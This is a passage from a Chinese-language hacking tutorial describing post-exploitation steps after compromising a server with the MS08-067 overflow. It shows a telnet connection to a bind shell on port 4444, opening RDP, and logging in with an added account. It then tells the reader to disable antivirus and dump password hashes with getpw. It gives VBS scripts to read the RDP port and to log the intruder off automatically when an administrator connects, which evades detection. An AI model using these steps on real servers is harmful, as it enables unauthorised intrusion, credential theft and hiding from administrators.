8.获取系统详细信息以及执行各种命令
使用MS08067溢出工具成功溢出服务器后,还可以使用“telnet IP地址 4444”连接被溢出服务器,如图8所示,偶使用telnet进行了尝试,获取系统信息并开放了3389端口。
图8 使用telnet连接被溢出计算机
说明:
(1)使用telnet连接被溢出计算机不如反弹shell好用,在telnet中有可能看不到输入,或者输入后反应较为迟钝。
(2)开放3389的方式有很多,网上有很多资料,这里使用别人给的一个工具,直接执行即可。
(3)可以使用以下脚本来查看对方服务器3389端口:
Echo Dim ReadComputerName >>port.vbs
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
Echo Dim TSName,TSRegPath >>port.vbs
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
Cscript port.vbs
9.登录被溢出服务器
打开mstsc远程终端连接器,输入IP地址、刚才添加的用户名和密码,验证成功后,顺利进入服务器,如图9所示。
图9 顺利进入被溢出服务器
10.加固服务器
打江山容易,守江山难,一旦成功攻克服务器后,先对计算机的安全状况和安全措施进行查看和了解。根据个人经验先进行简单加固,如图10所示,就地取材,看看系统有什么杀毒软件,有无360卫士等,对系统的补丁进行修复,删除其它木马程序等。在本案例中,利用瑞星的漏洞扫描程序对系统的漏洞进行扫描,然后进行修复。
图10 扫描系统漏洞并修复
注意:
(1)如果系统安装有瑞星等杀毒软件,使用getpw获取系统帐号会失败的,这个时候就想办法开放服务器的远程终端,登录系统后,禁用杀毒软件,然后使用getpw获取系统的Hash密码。Getpw获取密码的格式为“getpw $local”,获取Hash密码一定要在shell中,否则获取的Hash密码为空,将获取的值复制到Txt文件中,并去除内容中的空格,正确的格式如图11所示。
图11 获取的密码Hash值
(2)如果被溢出服务器已经开放3389,则登录后要注意管理员是否在线,以前网上有过批处理脚本,当管理员登录后,脚本会自动注销当前登录用户,感谢俺的好友“孤水绕城”提高了这样一个脚本,即:
on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo "use:// cscript.exe FS.vbs port"
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject("WScript.Shell")
Set oExec = oShell.Exec("netstat -an")
Set oRegExp = new RegExp
oRegExp.Pattern = "TCP[\s]+[\d\.]+:"&Tport&"[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED"
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run "logoff"
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
Wend